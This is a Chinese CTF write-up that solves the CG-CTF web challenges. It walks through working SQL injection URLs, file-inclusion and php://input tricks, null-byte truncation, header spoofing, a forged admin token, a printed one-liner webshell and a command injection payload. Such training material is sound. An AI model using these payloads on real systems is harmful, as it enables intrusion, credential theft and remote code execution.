0x01 前言 前段时间把实验吧的入门ctf练了一遍,想继续深入ctf,于是选择了比较基础的南邮的ctf题目(CG-CTF ),于是写个Writeup记录下学习过程。
0x02 Write Up 签到题 直接查看源代码即可获取flag
md5 collision 1 2 3 4 5 6 7 8 9 10 $md51 = md5('QNKCDZO' ); $a = @$_GET['a' ]; $md52 = @md5($a); if (isset ($a)){if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}" ; } else { echo "false!!!" ; }} else {echo "please input a" ;}
查看代码,传递一个参数,使得其md5值==
给出的值,并且QNKCDZO
的md5值为0e开头的,根据php弱类型性质,只要传入的参数的md5值也为0e开头的即可,这里我们使用s155964671a
即可获得flag
签到2 查看源代码,可知zhimakaimen
的长度比其标签给的最大长度大,于是用F12修改,然后输入提交即可
这题不是WEB 打开网站,将其中gif图片下载,本地用记事本打开即可获取flag
层层递进 只要打开源代码,查找里头的iframe标签,逐渐溯源so.html
,最终在404.html
源代码中找到flag。
AAencode 此题链接:传送门
首先,
什么是jjencode?
将JS代码转换成只有符号的字符串
什么是aaencode?
将JS代码转换成常用的网络表情
解密方法其实挺简单的,只需将其输入至开发者工具中控制台,即可解密。
此处我们利用aaencode加解密网站 即可得到flag
单身二十年 老办法查看源代码,查看a标签内网址源代码即可
php decode 给出的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php function CLsI ($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0 ; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1 ); } return $ZzvSWE; } eval (CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==" ));?>
此处只需将最后eval
改成echo
,本地运行即可解密获得flag
文件包含 此题存在文件包含内容,只要利用php的伪协议中的filiter协议读取index.php
的源码
payload: php://filter/read=convert.base64-encode/resource=index.php
就可获取经过base64编码后的源码,只需解码即可获取flag
单身一百年也没用 利用burp抓包,flag藏在返回头中
Download~! 这题404,emmmmmmm 但是据网上的Writeup记载:
只要下载download.php文件,查看代码即可获取flag
COOKIE 打开bp抓包,将cookie头部值改为非0即可
MYSQL robots.txt文件泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 TIP:sql.php <?php if ($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'" )); if ($_GET[id]==1024 ) { echo "<p>no! try again</p>" ; } else { echo ($query[content]); } } ?>
这段代码的作用传入id,并且要求id取整后为1024,于是只需提交1024.1
即可获得flag
GBK Injection 提交id=1'
可发现select id,title from news where id = '1\''
,单引号被转义,说明可能使用了addslashes() 函数,可能存在宽字节注入漏洞。
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节,即将两个ascii字符误认为是一个宽字节字符 .
其中,PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
假如,提交的是%df'
,经过转义之后变成%df'/
=%df%5c%27
,如果程序的默认字符集是GBK等宽字节字符集,MySQL用GBK的编码时, 就会认为 %df%5c
是一个宽字符,也就是縗
,也就是说%df\’
= %df%5c%27
=縗’
,有了单引号就好注入了
于是构造payload:
1 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df'--+
返回 your sql:select id,title from news where id = '運'-- '
可以发现已经bypass了
开始注入得数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 1.猜字段数 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' order by 2--+ 2. 爆数据库名 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,database()--+ sae-chinalover 3.爆表名 http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x7361652d6368696e616c6f766572)--+ ctf ctf2 ctf3 ctf4 news 4.爆ctf4列名(查询了所有表发现只有ctf4存在flag表) http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x63746634)--+ id flag 5.爆数据得flag http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df' and 1=2 union select 1,flag from ctf4--+ nctf{gbk_3sqli}
/x00 部分关键源码:
1 2 3 4 5 6 7 8 if (isset ($_GET['nctf' ])) { if (@ereg ("^[1-9]+$" , $_GET['nctf' ]) === FALSE ) echo '必须输入数字才行' ; else if (strpos ($_GET['nctf' ], '#biubiubiu' ) !== FALSE ) die ('Flag: ' .$flag); else echo '骚年,继续努力吧啊~' ; }
要求是只能用数字+$符号输入一个包含#biubiubiu
的字符串。由于ereg()函数存在00截断漏洞,于是构造payload:
1 http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu
bypass again 部分关键源码:
1 2 3 4 5 6 7 if (isset ($_GET['a' ]) and isset ($_GET['b' ])) { if ($_GET['a' ] != $_GET['b' ]) if (md5($_GET['a' ]) == md5($_GET['b' ])) die ('Flag: ' .$flag); else print 'Wrong.' ; }
目的是传入两个不同的值,但是要求其md5值一致。
但是使用了==
弱类型,只要找到两个字符串的md5值是以0e开头的即可
payload:
1 http://chinalover.sinaapp.com/web17/index.php?a=QNKCDZO&b=s155964671a
变量覆盖 部分关键源码:
1 2 3 4 5 6 7 8 9 <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?> <?php extract($_POST); if ($pass == $thepassword_123) { ?> <div class="alert alert-success"> <code><?php echo $theflag; ?></code> </div> <?php } ?> <?php } ?>
只要pass
值等于thepassword_123
即可获得flag
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
由于thepassword_123
并未初始化,于是可以post传递数据将其初始化
php是世界上最好的语言 链接挂了。。emmmm。。
网上的Writeup中index.txt代码为:
1 2 3 4 5 6 7 8 9 10 11 <?php if (eregi("hackerDJ" ,$_GET[id])) { echo ("<p>not allowed!</p>" ); exit (); } $_GET[id] = urldecode($_GET[id]); if ($_GET[id] == "hackerDJ" ){ echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; }
作用是将用户传入的值先进行URLdecode() ,然后判断是否等于hackerDJ
此处可以利用二次url编码,因为php会自动解码一次,然后再次函数解码正好为所需字符串
伪装者 需要本地登录,于是修改http请求头,祭出所有有关的头
1 2 3 4 5 6 7 8 9 client-ip : 127.0.0.1x-forwarded-for : 127.0.0.1x-originating-IP : 127.0.0.1x-remote-IP : 127.0.0.1x-remote-addr : 127.0.0.1x-client-ip : 127.0.0.1x-client-IP : 127.0.0.1X-Real-Ip : 127.0.0.1x-real-ip : 127.0.0.1
链接又挂了。。。。可以猜出flag可能就在http请求头或者响应头中
上传绕过 随意上传一个文件,返回必须上传成后缀名为php的文件才行啊!
报错信息
于是bp抓包,改包00截断一波
原理:
在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。通过抓包截断将【1.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【1.php.jpg】的内容写入到【1.php】中,从而达到攻击的目的。 (0x00是16进制值,不可见。
SQL注入1 部分关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if ($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='" .$user."') and (pw='" .$pass."')" ; echo '</br>' .$sql; $query = mysql_fetch_array(mysql_query($sql)); if ($query[user]=="admin" ) { echo "<p>Logged in! flag:******************** </p>" ; } if ($query[user] != "admin" ) { echo ("<p>You are not admin!</p>" ); } } echo $query[user];?>
关键sql语句:select user from ctf where (user='".$user."') and (pw='".$pass."')
其中user是post传入的值,而pass是传入pass值的md5值
于是可以构造payload:
select user from ctf where (user='admin') and 1=1 # ) and (pw='".$pass."')
user=admin') and 1=1 #&pass=
可获得flag
pass check 部分关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 $pass=@$_POST['pass' ]; $pass1=***********; if (isset ($pass)){ if (@!strcmp($pass,$pass1)){echo "flag:nctf{*}" ;}else { echo "the pass is wrong!" ;} }else { echo "please input pass!" ;} ?>
其中strcmp()
假如传入一个数组,返回null
于是提交pass[]=1
即可获得flag
起名字真难 部分关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function noother_says_correct ($number) { $one = ord('1' ); $nine = ord('9' ); for ($i = 0 ; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false ; } } return $number == '54975581388' ; } $flag='*******' ; if (noother_says_correct($_GET['key' ])) echo $flag; else echo 'access denied' ; ?>
代码要求是,传入的key不能存在数字而且要等于54975581388
,
于是考虑使用编码解决,hex{54975581388}=0xccccccccc
密码重置 bp抓包改包,
将user和user1的值改为admin和其base64编码后的值即可。
php 反序列化 此题暂时无法做。。emmmm
查看部分关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class just4fun { var $enter; var $secret; } if (isset ($_GET['pass' ])) { $pass = $_GET['pass' ]; if (get_magic_quotes_gpc()){ $pass=stripslashes($pass); } $o = unserialize($pass); if ($o) { $o->secret = "*" ; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: " .$o->secret; else echo "Oh no... You can't fool me" ; } else echo "are you trolling?" ; ?>
考查的是php反序列化后,enter要等于secret等于”*”
本地写一段代码
1 2 3 4 5 6 <?php $arr['secret' ]="*" ; $arr['enter' ]="*" ; $ser=serialize($arr); print_r($ser); ?>
结果输出为,a:2:{s:6:"secret";s:1:"*";s:5:"enter";s:1:"*";}
于是提交
1 http://localhost/a.php?pass=a:2:{s:6:%22secret%22;s:1:%22*%22;s:5:%22enter%22;s:1:%22*%22;}
返回 Congratulation! Here is my secret:
SQL Injection 查看部分关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting(0 ); require 'db.inc.php' ;function clean ($str) { if (get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username' ]); $password = @clean((string)$_GET['password' ]); $query='SELECT * FROM users WHERE name=\'' .$username.'\' AND pass=\'' .$password.'\';' ; $result=mysql_query($query); if (!$result || mysql_num_rows($result) < 1 ){ die ('Invalid password!' ); } echo $flag;?>
代码中clean()功能是转义单双引号。
关键的sql语句为:SELECT * FROM users WHERE name='$username' AND pass='$password';
可以构造payload:
SELECT * FROM users WHERE name='\' AND pass='or 1=1--+' ;
其中\'
将'
转义了,也就是 '\' AND pass='
是一个值为False
的整体,而后头为真
于是提交:
1 http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1--+
获得flag
综合题 进去网站可以发现,内容经过jjecode编码,在浏览器控制台内即可解码。
得到1bc29b36f623ba82aaf6724fd3b16718.php
于是访问该文件。
可以发现tips藏在响应头中
Bash shell在“/.bash_history”(“/”表示用户目录)文件中保存了500条使用过的命令,这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。
于是访问.bash_history
文件
发现了,系统管理员执行过zip -r flagbak.zip ./*
命令,于是访问flagbak.zip
可将此下载下来,打开其中的flag.txt即可获得flag
system emmmmm 依旧暂时无法做
SQL注入2 Tip:考察联合查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if ($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'" )); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>" ; } else { echo ("<p>Log in failure!</p>" ); } } ?>
其中要求用户输入的pass的md5值能与sql查询出的数据一致,
关键sql语句 select pw from ctf where user='$user'
,于是
可以利用union select 构造payload:
1 select pw from ctf where user='' uonion select 807659cd883fc0a63f6ce615893b3558 --+ #为yoga的md5值
为了只是查询出的807659cd883fc0a63f6ce615893b3558
与传入的pass=yoga
后md5值一致
提交user=’ uonion select 807659cd883fc0a63f6ce615893b3558 –+&pass=yoga即可获得flag。
综合题2 这道题比较麻烦,借鉴了好几个师傅的WP.
第一步,先进行一波目录文件的收集
查看最底下的本CMS说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <meta http-equiv ="Content-Type" content ="text/html; charset=utf-8" /> 很明显,这是安装后留下来忘删除的文件。。。 至于链接会出现在主页上,这就要问管理员了。。。 ===============================华丽的分割线============================= 本CMS由Funny公司开发的公司留言板系统,据本技术总监说,此CMS采用国际 顶级的技术所开发,安全性和实用性杠杠滴~</br> 以下是本CMS各文件的功能说明(由于程序猿偷懒,只列了部分文件) config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, )
从里面可以发现,几个php文件,数据库admin表结构。
观察URL发现http://cms.nuptzj.cn/about.php?file=sm.txt
,可能存在文件包含漏洞
依次获取config.php
、index.php
、passencode.php
、say.php
、about.php
源码,并且发现了so.php
、preview.php
passencode.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function passencode ($content) { $array=str_split($content); $pass="" ; for ($i=0 ;$i<count($array);$i++){ if ($pass!="" ){ $pass=$pass." " .(string)ord($array[$i]); }else { $pass=(string)ord($array[$i]); } } return $pass; } ?>
发现是用ASCII码进行编码
abount.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $file=$_GET['file' ]; if ($file=="" || strstr($file,'config.php' )){ echo "file参数不能为空!" ; exit (); }else { $cut=strchr($file,"loginxlcteam" ); if ($cut==false ){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else { echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>" ; } }
发现了一个新的目录\loginxlcteam\
,打开发现是一个后台登陆网站
so.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if ($_SERVER['HTTP_USER_AGENT' ]!="Xlcteam Browser" ){ echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~' ; exit (); } $id=$_POST['soid' ]; include 'config.php' ; include 'antiinject.php' ; include 'antixss.php' ; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die ("不能连接到数据库!!" .mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id" ); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice' ]).':<br /> ' .antixss($rs['say' ]).'<br />' ; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?>
很明显,首先得改User-Agent头信息,然后根据sql注入将帐号密码爆出,登入 后台拿shell
但是此处,id值被antiinject.php
处理了,于是查看源码
antiinject.php
1 2 3 4 5 6 7 8 9 <?php function antiinject ($content) { $keyword=array ("select" ,"union" ,"and" ,"from" ,' ' ,"'" ,";" ,'"' ,"char" ,"or" ,"count" ,"master" ,"name" ,"pass" ,"admin" ,"+" ,"-" ,"order" ,"=" ); $info=strtolower($content); for ($i=0 ;$i<=count($keyword);$i++){ $info=str_replace($keyword[$i], '' ,$info); } return $info; } ?>
很明显过滤好几个关键字和单双引号、空格、等号之类的,但是这种过滤方式可以通过双层嵌套进行ByPass,而且空格可以用/**/
绕过
第二步,开始对so.php进行一波注入
首先得修改User-Agent: Xlcteam Browser
,然后通过order by
获取字段数
紧接着提交soid=0/**/unUNIONion/**/seSELECTlect/**/1,2,3,4
爆出回显值
由于sm.txt
已经泄漏出数据库表结构,于是直接post提交
1 soid=0//ununionion//selselectect//1,usernaNAMEme,userpaPASSss,4//froFROMm/**/adADMINmin
爆出数据
通过上面分析可以得知,密码是通过ACSII编码了,于是解码后得到admin:fuckruntu
利用帐号密码直接登录,但是事情并没有这么简单。。
依旧利用about.php读小马源码:
1 2 3 4 5 <?php $e = $_REQUEST['www' ]; $arr = array ($_POST['wtf' ] => '|.*|e' ,); array_walk($arr, $e, '' ); ?>
发现是一个通过回调函数构造的一句话木马,而且是三参数的。详细博客
根据文章中的利用方式提交,成功执行php语句
于是利用php中的scandir()
方法查看本目录下所有文件名,发现一个惊喜
打开此文件即可获得flag
密码重置2
TIPS: 1.管理员邮箱观察一下就可以找到 2.linux下一般使用vi编辑器,并且异常退出会留下备份文件 3.弱类型bypass
首先查看源码,发现了一个小惊喜
接着分别尝试.index.php.swp
和.submit.php.swp
,只由后者存在
部分关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if (!empty ($token)&&!empty ($emailAddress)){ if (strlen($token)!=10 ) die ('fail' ); if ($token!='0' ) die ('fail' ); $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'" ; $r = mysql_query($sql) or die ('db error' ); $r = mysql_fetch_assoc($r); $r = $r['num' ]; if ($r>0 ){ echo $flag; }else { echo "失败了呀" ; } } ?>
根据Tips的提示,提交token=0e12345678
,即可获得flag
file_get_contents 部分关键源码:
1 2 3 4 5 6 <?php $file = $_GET['file' ]; if (@file_get_contents($file) == "meizijiu" ){ echo $nctf; } ?>
php中file_get_contents()
函数是个非常危险的函数,它支持多种php伪协议。
其中,php://input
可以将post数据作为php代码解析执行
于是提交file=php://input
,post内容:meizijiu
,即可获得flag
变量覆盖 部分关键源码:
1 2 3 4 5 6 7 <?php foreach ($_GET as $key => $value){ $$key = $value; } if ($name == "meizijiu233" ){ echo $flag; ?>
直接提交 name=
meizijiu233 即可。
注意!! 这题只是找下存在感维护版权而已,直接提交就好啦
HateIT 这题…..emmmm…..咋说呢,超出目前能力范围,主要涉及了逆向方面的解密。
扫下目录,发现robots.txt、admin.php、upload/upload.php、.git/
文件
打开robots.txt,可以下载一个suenc.so
加密扩展文件,用来解密的。
利用git源码泄漏,可以使用 dvcs-ripper 工具将 git 文件下载下来
(不知道为啥Githack.py只能下载一个文件。。。)
1 2 3 4 5 6 ./rip-git.pl -v -u http://45.76.173.177:23333/.git/ -o hateit git log git reset --hard e8c568beb7dca2bcb6b0801414d4dd2979219789 ls admin.php class.php func.php hg-decode.pl LICENSE opcode.txt rip-bzr.pl rip-cvs.pl rip-git.pl rip-hg.pl rip-svn.pl
利用解密文件,部分关键源码:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php if (!isset ($_SESSION)) { session_start(); } echo '...这部分前端内容我就省略不贴了...' ; include_once ('func.php' ); if (isset ($_GET['username' ])) { $username = $_GET['username' ]; $md5 = md5(get_identify().$username); $admin = 0 ; $token = encrypt($username.'|' .$admin.'|' .$md5); $_SESSION['sign' ] = $md5; $_SESSION['token' ] = $token; } showImage(); if (isset ($_GET['token' ]) && isset ($_GET['sign' ])) { $token = $_GET['token' ]; $sign = $_GET['sign' ]; echo 'sign : ' .$sign.'<br>' ; echo 'token: ' .$token.'<br>' ; $info = explode('|' , decrypt($token)); echo decrypt($token); var_dump($info); if (count($info) == 3 ) { if (md5(get_identify().$info[0 ]) == $info[2 ]) { $sign = $info[1 ]; $admin = $info[1 ]; }else { $admin = $info[1 ]; } } }else { if (isset ($_SESSION['token' ]) && isset ($_SESSION['sign' ])) { echo 'sign : ' .$_SESSION['sign' ].'<br>' ; echo 'token: ' .$_SESSION['token' ].'<br>' ; $token = $_SESSION['token' ]; $sign = $_SESSION['sign' ]; $info = explode('|' , decrypt($token)); if (count($info) == 3 ) { if (md5(get_identify().$info[0 ]) == $info[2 ]) { $sign = $info[1 ]; $admin = $info[1 ]; }else { $admin = $info[1 ]; } echo '<br>' .$admin; } } } if (isset ($admin) && $admin == 3 ) { $_SESSION['auth' ] = 'admin' ; echo "<a href='admin.php'>Admin</a>" ; }
先看index.php
,这里会将$token
解密,如果$admin==3
就有权限访问admin.php
,我们指定$admin=3,然后在本地生成加密 token 然后访问:
1 http://45.76.173.177:23333/?sign=30dd01f4a4aeb5598d20ce3084e120a5&token=YmMxNWI3MzY5MmFjZTA0NzExMzQwMjBhMDNiNGFhODYyZWVjNDQ1ZWY5NjI4ZDQ5NWI3YWE4OGFhNmZkNTg2OWQ0ZTdmYjg4ZTVlMjQ4Mjg5N2JhNWY5NDJjM2FjYzI4
就可以用admin的session进入下一步,审计admin发现,并未对file的值进行过滤,于是存命令执行。
func_decode.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php define("KEY" ,"8690475385984657" ); define("method" ,"aes-128-cfb" ); define("BS" ,16 ); define("IDENTIFY" ,"9850375038" ); function getkey () { return KEY; } function get_identify () { return IDENTIFY; } function get_token () { $token = '' ; for ($i=0 ;$i<16 ;$i++){ $token .= chr(rand(1 ,255 )); } return $token; } function to ($str) { return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS)); } function encrypt ($str) { $key = getkey(); srand(time() / 300 ); $token = get_token(); $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token)); return base64_encode($cipher); } $username = 'qwer' ; $md5 = md5(get_identify().$username); $admin = '3' ; $token = encrypt($username . '|' . $admin . '|' . $md5); echo $token;echo "\n" ;?>
构造命令执行admin.php?action=viewImage&file=;ls
查看的当前目录文件
最后flag在/etc/目录下。
Anonymous 部分关键源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $MY = create_function("" ,"die(`cat flag.php`);" ); $hash = bin2hex(openssl_random_pseudo_bytes(32 )); eval ("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}" ); if (isset ($_GET['func_name' ])){ $_GET["func_name" ](); die (); } show_source(__FILE__ ); ?>
顾名思义,这道题考查匿名函数,create_function()
:
获取参数, 函数体;
拼凑一个”function _lambda func (参数) { 函数体;} “的字符串;
eval;
通过 _lambda func在函数表中找到eval后得到的函数体, 找不到就出错;
定义一个函数名:”\000 lambda ” . count(anonymous_functions)++;
用新的函数名替换 _lambda func;
返回新的函数。
实例:
1 2 3 4 5 6 7 8 9 <?php $id = $_GET['id' ]; $q = 'echo' .$id.'is' .$a.";" ; $sy = create_function('$a' ,$q); ?> 这个匿名函数相当于这样的创建函数过程: function niming ($a) { echo $id.'is' .$a; }
于是乎,假如提交id=1;}phpinfo();/*
访问,就会
很明显,存在命令执行漏洞。
回到题目,由于会定义一个函数名:\x00lambda_%d
其中%d是逐渐递增的,表示当前进程中第几个进程,于是可以利用bp来爆破,找到%d值,就可以执行函数拿到flag了
设置参数,然后payload设为1-10000
然后payload设为1-10000,开始爆破
运气还不错,在956处找到flag
0x03 Idea 通过这俩三天的练习入门,发现了原来学习漏洞原理时只是囫囵吞枣式的,存在很多的只是盲点误区,正好CTF题目能加深对这些漏洞的理解,使得各种技术技巧得到真实的运用 ,这也为后来自己在渗透方面打下一些基础。这段时间,我可能继续会深入学习探究CTF的,
最后,goSpursgo!!! 已经三连跪了,而且4,5.6.7.8连跪都可能.jpg
0x04 Reference 1.CG-CTF-web篇零基础指南
2.SUCTF
3.php伪协议实现命令执行的七种姿势
4.南邮CTF-WEB-writeup
5.深入理解PHP之匿名函数